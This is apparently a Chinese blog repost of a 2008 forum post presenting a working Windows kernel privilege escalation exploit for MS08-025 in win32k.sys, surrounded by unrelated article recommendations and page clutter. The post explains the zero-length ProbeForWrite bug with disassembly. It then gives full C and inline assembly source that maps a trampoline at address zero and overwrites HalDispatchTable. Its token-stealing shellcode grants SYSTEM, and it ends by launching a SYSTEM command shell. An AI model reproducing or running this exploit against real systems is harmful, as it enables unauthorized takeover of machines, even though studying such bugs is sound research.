MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

【鸿蒙专题与实战】测试体系:单元测试、组件测试与 UI 测试 本文系统讲解鸿蒙开发中的三层测试实践:底层单元测试(用Hypium框架,优先覆盖纯函数、边界与异常)、中层ViewModel逻辑、顶层仅测3-5条关键UI路径。强调测试应“越往下写得越多”,因单元测试快且成本低,而UI测试慢易出错。通过实例说明断言拆分提升定位效率,结合覆盖率报告(hvigorwtest --coverage)发现盲区,核心是“用覆盖率找漏测,而非追求数字”。附五步落地清单:建测试文件、按优先级补用例、精简UI测试、生成报告、定位未覆盖行。下一篇将开启实战项目:从需求到上架全流程。 阅读详情
作 者: xee
时 间: 2008-04-14,19:17
链 接: http://bbs.pediy.com/showthread.php?t=63099

问题出在ProbeForWrite在处理指定的地址可写时,传入指定的长度为0时就不进行判断,就可以造成指定的地址可写,这样我们就可以写任意的内核空间了,

.text:BF850BB7                 push    14h
.text:BF850BB9                 push    offset stru_BF9940D0
.text:BF850BBE                 call    __SEH_prolog
.text:BF850BC3                 xor     edx, edx
.text:BF850BC5                 mov     [ebp+ms_exc.disabled], edx
.text:BF850BC8                 mov     eax, [ebp+var_20]
.text:BF850BCB                 mov     ecx, 7FFFFFFFh
.text:BF850BD0                 and     eax, ecx
.text:BF850BD2                 mov     esi, [ebp+arg_18]
.text:BF850BD5                 shl     esi, 1Fh
.text:BF850BD8                 or      eax, esi
.text:BF850BDA                 mov     [ebp+var_20], eax
.text:BF850BDD                 mov     esi, eax
.text:BF850BDF                 xor     esi, [ebp+arg_8]
.text:BF850BE2                 and     esi, ecx
.text:BF850BE4                 xor     eax, esi
.text:BF850BE6                 mov     [ebp+var_20], eax
.text:BF850BE9                 cmp     [ebp+arg_18], edx
.text:BF850BEC                 jnz     short loc_BF850BFA
.text:BF850BEE                 lea     esi, [eax+eax] //当eax=0x80000000时,esi就会整形溢出为0,这样就触发了可写内核空间
.text:BF850BF1                 xor     esi, eax
.text:BF850BF3                 and     esi, ecx
.text:BF850BF5                 xor     eax, esi
.text:BF850BF7                 mov     [ebp+var_20], eax
.text:BF850BFA
.text:BF850BFA loc_BF850BFA:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35 j
.text:BF850BFA                 mov     [ebp+var_24], edx
.text:BF850BFD                 mov     esi, [ebp+Address]
.text:BF850C00                 mov     [ebp+var_1C], esi
.text:BF850C03                 xor     ebx, ebx
.text:BF850C05                 inc     ebx
.text:BF850C06                 push    ebx             ; Alignment
.text:BF850C07                 and     eax, ecx
.text:BF850C09                 push    eax             ; Length //length=0
.text:BF850C0A                 push    esi             ; Address
.text:BF850C0B                 call    ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
.text:BF850C11                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:BF850C15                 mov     eax, [ebp+arg_14]
.text:BF850C18                 add     eax, 6
.text:BF850C1B                 and     eax, 1Fh
.text:BF850C1E                 push    [ebp+arg_10]
.text:BF850C21                 lea     ecx, [ebp+var_24]
.text:BF850C24                 push    ecx
.text:BF850C25                 push    [ebp+arg_8]
.text:BF850C28                 push    [ebp+arg_4]
.text:BF850C2B                 push    [ebp+arg_0]
.text:BF850C2E                 mov     ecx, _gpsi
.text:BF850C34                 call    dword ptr [ecx+eax*4+8]
.text:BF850C38                 mov     edi, eax
.text:BF850C3A                 test    edi, edi
.text:BF850C3C                 jz      loc_BF850B94
.text:BF850C42
.text:BF850C42 loc_BF850C42:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)-20 j
.text:BF850C42                                         ; NtUserfnOUTSTRING(x,x,x,x,x,x,x)-A j
.text:BF850C42                 mov     eax, edi
.text:BF850C44                 call    __SEH_epilog
.text:BF850C49                 retn    1Ch
.text:BF850C49 _NtUserfnOUTSTRING@28 endp
.text:BF850C49
.text:BF850C4C ; ---------------------------------------------------------

这里是通过覆盖了内核中的 HalDispatchTable表来执行shellcode的

下面是我修改ruben的exploit

// ms08-25-exploit #1
// This exploit takes advantage of one of the vulnerabilities
// patched in the Microsoft Security bulletin MS08-25
//  http://www.microsoft.com/technet/sec.../ms08-025.mspx
// ---------------------------------------
// For research purposes ONLY.
// ---------------------------------------
// Ruben Santamarta
//  www.reversemode.com
// http://hi.baidu.com/vessial changed the shellcode

#include "stdafx.h"



typedef enum _KPROFILE_SOURCE {


    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
                                           PULONG          Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)(   IN HANDLE               ProcessHandle,
                                       IN OUT PVOID            *BaseAddress,
                                       IN ULONG                ZeroBits,
                                       IN OUT PULONG           RegionSize,
                                       IN ULONG                AllocationType,
                                       IN ULONG                Protect );

OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{
  
      if ( OsVersionInfo.dwMinorVersion == 1 ) {

       __asm {

               nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

searchXp:

               mov eax,[eax+0x88]
               sub eax,0x88
               mov edx,[eax+0x84]
               cmp edx,0x4 // Find System Process
               jne searchXp

               mov eax,[eax+0xc8] // 获取system进程的token
               mov [esi+0xc8],eax // 修改当前进程的token

               ret 8

       }
   }
   if ( OsVersionInfo.dwMinorVersion == 2 ) {

       __asm {

           nop
               nop
               nop
               nop
               nop
               nop

               mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
               Mov eax,[eax]

               mov esi,[eax+0x220]
               mov eax,esi

search2003:

               mov eax,[eax+0x98]
               sub eax,0x98
               mov edx,[eax+0x94]
                cmp edx,0x4 // Find System Process
               jne search2003

               mov eax,[eax+0xd8] // 获取system进程的token
               mov [esi+0xd8],eax // 修改当前进程的token
               ret 8

       }
   }

  
}
_declspec(naked) ULONG __stdcall NtUserMessageCall
(
   IN HWND arg1,
    IN ULONG_PTR arg2,
    IN ULONG_PTR arg3,
    IN ULONG_PTR arg4,
    IN ULONG_PTR arg5,
    IN ULONG_PTR arg6,
   IN ULONG_PTR arg7
)
{
   __asm
   {
       mov eax, 000011cch
       mov edx, 7ffe0300h
       call dword ptr [edx]
       retn 1Ch
   }
}


void InitTrampoline()
{

   PNTALLOCATE NtAllocateVirtualMemory;
   LPVOID       addr = (LPVOID)3;
   DWORD       dwShellSize=0x1000;
   unsigned char trampoline[]="/x68/x00/x00/x00/x00" //push 0x0
                               "/xc3";                                           // retn

   NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
  
   if( !NtAllocateVirtualMemory )
       exit(0);  
  
   NtAllocateVirtualMemory(   (HANDLE)-1,
                               &addr,
                               0,
                               &dwShellSize,
                               MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                               PAGE_EXECUTE_READWRITE );

   if( (ULONG_PTR)addr )
   {
       printf("/n[++] Error Allocating memory/n");
       exit(0);  
   }

  
   *(ULONG_PTR*)(trampoline+1)=(ULONG_PTR)ShellCode;//push &shellcode
                   // retn
                                                                                             这样就可以直接执行shellcode了
   memcpy(NULL,trampoline,sizeof(trampoline)-1);       指 跳转指令写入0x0地址,cool吧,你有做过吗?:)
}
int Callback_Overview()
{
   printf("/n");
   printf("=====================================================================   /n");
   printf("/t/tMicrosoft Windows XP SP2 - MS08-025 -       /n");
   printf("/twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit   /n");
   printf("=====================================================================   /n");
   printf("+ References:/n");
   printf(" http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx/n");
   printf(" http://www.reversemode.com/n/n");
    printf(" http://hi.baidu.com/vessial/n/n");
    printf(" vessial just changed the shellcode can get the system token/n");
   return 1;
}


int main(int argc, char **argv)
{
  

   PNTQUERYINTERVAL   NtQueryIntervalProfile;
   KPROFILE_SOURCE   stProfile = ProfileTotalIssues;

   ULONG_PTR   HalDispatchTable;
   ULONG_PTR   BaseNt=0;
   ULONG_PTR   result;
  
   HMODULE       hKernel;
   char       szNtos[MAX_PATH] = {0};

   STARTUPINFOA                stStartup;
   PROCESS_INFORMATION            pi;


   Callback_Overview();
   
   LoadLibrary("user32.dll");

   if( GetDriverInfoByName("krnl",szNtos,&BaseNt) )
   {
       printf("[+] %s loaded at   /t [ 0x%p ]/n",szNtos,BaseNt);
      
   }
   else
   {
       printf("[!!] Kernel not found :?/n");
       return FALSE;
   }

   if( strstr(szNtos,"krnlpa") )
   {
       hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);  
   }
   else
   {
       hKernel = LoadLibraryExA("ntoskrnl.exe",0,1);
   }  

   HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");

   if( !HalDispatchTable )
   {
       printf("[!!] HalDispatchTable not found/n");
       return FALSE;
   }
  
  

   RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
   OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
   GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

   if ( OsVersionInfo.dwMajorVersion != 5 ) {

       printf( "Not NT5 system/n" );
       ExitProcess( 0 );
   }
   //Get Operatiny System Version
   HalDispatchTable -= ( ULONG_PTR )hKernel;
   HalDispatchTable += BaseNt;

   printf("[+] HalDispatchTable found    /t/t/t [ 0x%p ]/n",HalDispatchTable);
  
   printf("[+] NtQueryIntervalProfile ");

   NtQueryIntervalProfile = ( PNTQUERYINTERVAL )
                           GetProcAddress(   GetModuleHandle("ntdll.dll")
                                           ,"NtQueryIntervalProfile");
  
   if( !NtQueryIntervalProfile )
   {
       printf("[!!] Unable to resolve NtQueryIntervalProfile/n");
       return FALSE;
   }
   printf( "/t/t/t [ 0x%p ]/n",NtQueryIntervalProfile );
  
   InitTrampoline();

   NtUserMessageCall(   GetDesktopWindow(),
                       0xD,
                       0x80000000,
                       HalDispatchTable+sizeof(WORD)+sizeof(ULONG_PTR),
                       0x0,
                       0x0,
                       0x0);
   NtUserMessageCall(   GetDesktopWindow(),
                       0xD,
                       0x80000000,
                       HalDispatchTable+sizeof(ULONG_PTR),
                       0x0,
                       0x0,
                       0x0);
   printf("/n[+] Executing Shellcode.../n");
  
   NtQueryIntervalProfile(stProfile,&result);//这里的作用是为了call 0x0,真是经典
   GetStartupInfo( &stStartup );

   CreateProcess( NULL,
       "cmd.exe",
       NULL,
       NULL,
       TRUE,
       NULL,
       NULL,
       NULL,
       &stStartup,
       &pi );   //此时创建的cmd.exe是SYSTEM权限

   
   printf("[+] Exiting.../n");

   return TRUE;
}

  在XP系统下测试成功:)
  2003还没有试过,大家试试:)
 
手把手教你用树莓派蓝牙抓取小米温湿度计2代数据,接入HomeAssistant(附密钥获取避坑指南) 本文详细介绍了如何通过树莓派蓝牙抓取小米温湿度计2代数据并接入HomeAssistant的完整流程。重点解析了获取32位加密密钥的三种方法,包括使用Telink Flasher工具、米家APP抓包和开源工具ATC_MiThermometer,并提供了HomeAssistant集成配置和常见问题排查指南,帮助用户实现稳定可靠的温湿度监测。 阅读详情

相关推荐

技术解析:PETR如何通过3D位置编码革新多视角3D目标检测

本文深入解析了PETR模型如何通过创新的3D位置编码技术革新多视角3D目标检测。它摒弃了DETR3D复杂的投影采样机制,通过3D坐标生成器和编码器,将3D几何信息直接注入2D图像特征,构建出3D感知特征。该方法简化了流程,提升了模型对空间关系的理解能力与训练稳定性,为自动驾驶等领域的精准感知提供了新思路。

weixin_29079743的博客 212

调用 NtUserXXX 引发系统 BSOD 的问题分析

调用 NtUserXXX 引发系统 BSOD 的问题分析

Innocence_0的博客 501

OTN传送网实战指南:从光层到电层的完整架构解析(附配置示例)

本文深入解析OTN传送网从光层到电层的完整架构,涵盖关键组件、技术实现及配置示例。通过高速公路与光传送网的类比,详细介绍了光层超宽传输管道构建、电层业务调度核心引擎以及控制平面智能运维实战。附有典型组网方案与故障排查指南,助力网络工程师高效部署与维护OTN传送网。

tomato的博客 683

Pytorch直接对张量进行旋转(rotate tensor)

方法1:利用affine_grid函数 参考链接 import torch import torch.nn.functional as F import numpy as np import matplotlib.pyplot as plt def get_rot_mat(theta): theta = torch.tensor(theta) return torch.tensor([[torch.cos(theta), -torch.sin(theta), 0],

bxdzyhx的博客 1万+

qcc51xx如何配置spdif输入

qcc51xx如何配置spdif输入。

Alex_886的博客 1372

【AI产品与商业航图】Flux.1 完全开源 AI 绘图模型:本地部署与 ComfyUI 实战指南

Flux.1是一个开源项目,用户可以自由使用和修改,完全免除使用费用。🖥️本地部署支持:与一些依赖云端计算的工具不同,Flux.1支持本地部署,确保用户可以离线使用并自主控制数据隐私。🔄兼容ComfyUI框架:Flux.1可以无缝集成到ComfyUI中,用户可以享受更加简便和直观的操作界面。🎨卓越的图像生成能力:Flux.1能够生成高质量、细腻的图像,支持多种风格与创作主题的切换。💾低硬件要求。

高校图书馆高级系统架构师/研究馆员,推动高校AI从概念演示到可评审、可交付、可运维:路线图与立项评审、PoC交付、评测回归与上线运维(Baseline/Eval/Ops)。 1736

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit2

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit另一种利用方式,通过覆盖SSDT表NtVdmControl的地址进行shellcode的执行#include #include typedef LONG NTSTATUS;typedef NTSTATUS (NT

1170

【Python】秋招机考 —— 2025/9/17 华为 AI 方向

秋招机考,华为 AI,使用 Python 完成编程。

一杯水果茶!足矣~ 1165

从瀑布到流水线:DevOps 入门与 GitLab + Jenkins + Docker 落地实践

先看清软件开发生命周期(SDLC)的全貌,再对比瀑布模型与敏捷开发,随后进入持续集成与 CI/CD 的机制内核;最后落到实操——在 GitLab、Jenkins、Docker 组成的四机实验环境里,走完源码托管、自动化构建、镜像封装与远程部署,直到参数化构建与版本回滚。概念与命令并重,既是入门地图,也是操作手册。

年轻的时候很穷,经过我多年的努力,终于不再年轻。 242

在 SAP HANA 里为视图创建 Analytic Privilege,真正把同一份数据按角色切开

摘要:本文介绍了SAP HANA中基于业务角色的动态数据权限控制方法。通过Analytic Privilege技术,可以在同一视图上为不同角色设置不同的数据访问范围,实现行级安全控制。核心机制包括:1) 创建带有STRUCTURED PRIVILEGE CHECK的视图;2) 建立授权对象和用户映射表;3) 开发条件提供过程动态生成过滤条件;4) 创建结构化权限对象绑定条件提供器。这种设计使权限规则与业务数据解耦,便于维护变更,适合销售区域、财务数据等多角色访问控制场景。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 2392

手把手教你学simulink(41.4)--逆变器电场景示例:基于Simulink的主从控制的多逆变器协同控制(Multi-Inverter Coordinated Control)

需求分析在现代电力系统中,分布式发电和储能系统的广泛应用使得多个逆变器并联运行成为常见的应用场景。为了确保多个逆变器之间的协同工作,实现系统的稳定性和高效性,通常采用主从控制(Master-Slave Control)策略。主从控制通过一个主控制器(Master)来协调多个从控制器(Slave),确保所有逆变器的输出电压、频率和功率分配符合预期目标。本项目将基于Simulink平台,开发一个多逆变器协同控制系统,采用主从控制策略,实现对多个逆变器的精确控制和优化。

MHD0815的博客 305

训练数据示例

针对“规格书生成测试用例脚本”的任务,在 LLaMA-Factory 中使用即可。关键是把“规格书内容”放进input字段,把“期望的脚本输出”放进output字段。

liuxs2009的专栏 57

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

DNS 不是把域名翻译成 IP:递归解析、TTL 缓存、CNAME 与报文排错实战

本文通过离线Python实验,拆解DNS递归解析、缓存机制与报文结构,揭示“DNS不是全局映射表”的本质。重点解析递归器角色、TTL衰减、CNAME链处理、负缓存隔离及修改记录延迟生效等核心问题,结合实战排错案例,阐明缓存层级、事务匹配、截断处理与安全边界,强调从应用到权威的逐层排查逻辑,实现可复现、可验证的DNS教学系统。

此人很懒,什么都没有写~~ 348

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Java EE 进阶:8.MyBatis 操作数据库(入门)(第一弹)

Java EE 进阶:8.MyBatis 操作数据库(入门)(第一弹)

要努力去发光,而不是被照亮~ 118

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

【LTE L3 笔记 09】LTE物理信道-PRACH

课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。

lyouhuan的博客 188

密码存储不是 MD5 加盐:PBKDF2、scrypt、参数升级与安全验证实战

本文通过实战演示密码存储的正确做法:摒弃MD5加盐,采用PBKDF2与scrypt等高成本密钥派生函数,结合随机盐、版本化记录与严格解析,确保离线破解成本可控。模块实现安全验证、参数校验、透明升级与统一错误处理,强调算法选择需兼顾安全性与可维护性,提供教学级密码存储方案,助力构建可迁移、可审计的认证边界。

此人很懒,什么都没有写~~ 225

软件测试用例模板怎么写:从用例设计到执行记录的全套指南

测试用例是测试工作的核心产出,它决定测试覆盖了多少、漏掉了什么。但大多数人的测试用例写得像流水账——只有正常路径,没有异常场景;只有操作步骤,没有预期结果;只有功能测试,没有非功能测试。本文拆解测试用例的标准结构,说明每个字段的含义和写法,给出覆盖功能测试、性能测试、安全测试的完整用例范例,并列出测试用例设计的五个高频遗漏点。

wuwangzhiduoshao的博客 149

MCP实战06:传输实战、测试与部署

你的 MCP Server 写完了,怎么确认它真的能被宿主正确调用?这课给传输层实战三件套:MCP Inspector 可视化调试、协议级自动化测试(pytest 断言 JSON-RPC 报文结构)、stdio/HTTP 双传输部署。测试不是可选项——工具描述错一个字段宿主就调不对,你能给 Server 建起自己的回归测试。

Blockbuster-drug 719

【LTE L3 笔记 05】LTE同步信号

课程来源:B站《【2022】华为HCIA-LTE无线工程师认证学习中级视频》笔记为个人整理,含课件截图,仅供学习交流。

lyouhuan的博客 114

电芯串并联与BMS保护

串联升压、并联扩容,规则一句话,但整包能用多少由最弱的那节电芯说了算。这篇先算最弱电芯的账,再讲清三层保护,最后给对应的BMS测试用例:欠压、压差、均衡怎么测。BMS项目里有个常见场面:两台同配置的样车,电芯是同一批的,跑出来续航和限功率点却对不上。拆包量单体,一台里有一节电芯的容量比其他低了8%。整包表现被一节拖住,就是串并联的规矩在起作用。这篇先把规则和算例讲清,再讲保护分层,最后落到测试用例。

qq_43241255的博客 230

《C++ 项目:手写大模型接入 SDK》ChatGPT接口设计(中):全量响应实现和测试

本文详细实现了ChatGPTProvider对接OpenAI ResponsesAPI的全量响应sendMessage接口,涵盖模型可用性校验、请求参数解析、JSON报文组装、HTTP客户端配置(含代理与超时)、网络请求发送及响应解析全流程。通过GTest编写测试用例,发现并修复了因Content-Type重复设置导致的400错误,揭示了不同厂商网关对请求头规范的宽容度差异,最终提出一套兼容多模型服务商的标准写法,提升了代码通用性与鲁棒性。

2501_91275995的博客 569

工作流 vs 自主 Agent:5 种设计模式与 3 种建模方式详解

本文基于 Anthropic《Building Effective Agents》指南,系统梳理了AI应用中的两类核心架构:Workflow(编排式)与Agent(自主智能体)。强调“能画流程图就不上Agent”,提出从简单提示链到复杂自主决策的5种可组合工作流模式,并给出选型口诀与工程实践建议。核心观点:优先用确定性、可审计的Workflow,仅在任务路径未知时启用Agent,避免盲目复杂化。

分享大数据、java相关的技术 157

AI提效测试实践论

11、测试结束后,必须将任务过程中所有走了弯路,多次尝试的才成功操作的最终解决办法,按1、2、3...列点追加写入到当前文件的“特别注意要点”下(必须只记一行摘要,完整内容另存 [当前AGENTS.md文件所在的目录]\details\[序号].md)(如果新纪录的要点和历史要点存在冲突,必须直接对历史要点进行修正。`测试用例` 章节下必须按用例分层组织为 `冒烟集`、`主流程集`、`边界集`、`回归集` 四个子集,并在 `用例结果汇总` 中统计各分层集的用例数量。3、是否存在BUG;没有则写“无”> |

weixin_44711513的博客 122

AI重构工业软件|泛联新安亮相第四届工业软件创新发展学术会议

两天会议,从院士报告里的战略判断,到灯塔工厂的实战复盘,再到泛联新安总部的体系拆解,其实都在回答同一个问题:AI重构工业软件,怎么从“演示可用”走到“生产敢用”。没有合理的裁判体系为AI任务结果进行验收,人类工程师的精力最终会疲于为AI产出做确认和兜底。工业软件和关键装备行业的AI转型,缺的从来不是模型,而是让模型可以被信任的那套工程体系。这也是唐勇博士在主论坛报告里反复强调的结论。这个问题没有一次性答案,我们会持续把可信智能体的工程实践公开出来。

flxa19310090839的博客 43
上一篇: 发一块代码段(删除正在运行的程序文件)
下一篇: LiveDump - 本机动态生成完整内核 dump 文件
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值